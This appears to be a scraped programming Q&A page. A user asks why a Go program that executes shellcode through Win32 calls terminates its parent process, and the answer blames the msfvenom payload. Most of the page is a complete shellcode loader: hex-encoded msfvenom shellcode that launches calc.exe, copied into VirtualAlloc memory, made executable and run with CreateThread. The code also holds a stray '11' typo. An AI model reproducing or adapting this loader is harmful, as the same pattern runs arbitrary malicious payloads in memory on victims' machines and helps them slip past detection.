Go: Why do processes/Threads started using Win32API funcs seem to hijack and kill the parent proccess?

Issue

Now, the following code does what it’s supposed to do, load calc.exe to memory and execute it, it does that fine.

I’ve stitched together this code to show CreateThread() Killing my program’s execution flow right before popping calc.exe, Simply after CreateThread.Call(), No other instructions are executed after it

And i believe this isn’t a memory allocation issue, because if i wrap CreateThread() in a goroutine (go runThread() ) It executes a few loop cycles before popping calc.exe

package main

import (
    "fmt"
    "encoding/hex"
    "golang.org/x/sys/windows"
    "log"
    "unsafe"
)
func main(){

    RunCreateThread()
    for {
    fmt.Println("Running infinitely")
    }
}

func RunCreateThread() {
    //calc.exe HEX
    shellcode, _ :=hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500")


    addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
    if errVirtualAlloc != nil {11
        log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
    }

    ntdll := windows.NewLazySystemDLL("ntdll.dll")
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")


    _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
    }


    var oldProtect uint32
    errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
    if errVirtualProtect != nil {
        log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
    }

    kernel32 := windows.NewLazySystemDLL("kernel32.dll")
    CreateThread := kernel32.NewProc("CreateThread")

    thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
    if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
    }

    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}

I’m curious to why this happens?

Solution

As it turns out, it was indeed a shellcode issue, The code calls Fine, I didn’t know that msfvenom payloads often mess with their host callers in weird ways sometimes.

Answered By – THX1339

Answer Checked By – Marilyn (GoLangFix Volunteer)

Leave a Reply

Your email address will not be published.